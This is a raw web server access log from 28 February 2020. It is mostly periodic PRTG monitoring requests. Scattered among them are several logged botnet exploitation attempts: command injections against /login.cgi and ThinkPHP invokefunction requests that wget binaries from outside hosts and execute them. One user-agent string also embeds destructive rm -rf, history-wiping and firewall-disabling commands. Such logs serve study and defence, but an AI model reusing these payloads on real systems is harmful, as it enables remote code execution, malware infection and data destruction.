212.91.246.72 - - [28/Feb/2020:07:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.166.185 - - [28/Feb/2020:07:55:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [28/Feb/2020:07:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.140.219.150 - - [28/Feb/2020:07:56:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.35.166.185 - - [28/Feb/2020:07:56:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [28/Feb/2020:07:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.188.43.194 - - [28/Feb/2020:08:03:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:08:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [28/Feb/2020:08:08:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [28/Feb/2020:08:08:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [28/Feb/2020:08:08:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:08:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [28/Feb/2020:08:08:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [28/Feb/2020:08:08:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:08:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.226.36.168 - - [28/Feb/2020:08:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:08:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [28/Feb/2020:08:16:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:08:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [28/Feb/2020:08:22:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [28/Feb/2020:08:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.232.3.86 - - [28/Feb/2020:08:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.67.191.18 - - [28/Feb/2020:08:30:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:08:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.165.89.236 - - [28/Feb/2020:08:34:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:08:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.232.229.25 - - [28/Feb/2020:08:35:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.111.126.137 - - [28/Feb/2020:08:35:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:08:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.121.123.160 - - [28/Feb/2020:08:37:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:08:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.122.123 - - [28/Feb/2020:08:42:57 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.60 - - [28/Feb/2020:08:44:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.60 - - [28/Feb/2020:08:45:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.249.153.182 - - [28/Feb/2020:08:52:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:08:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.150.101.66 - - [28/Feb/2020:08:55:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:08:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:08:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [28/Feb/2020:09:10:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:09:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.213.92.151 - - [28/Feb/2020:09:16:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:09:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.32.79.172 - - [28/Feb/2020:09:16:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:09:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.227.20.98 - - [28/Feb/2020:09:20:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:09:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.68.10 - - [28/Feb/2020:09:26:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:09:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.22 - - [28/Feb/2020:09:30:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:09:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.178 - - [28/Feb/2020:09:31:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:09:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.145.189.67 - - [28/Feb/2020:09:38:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:09:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
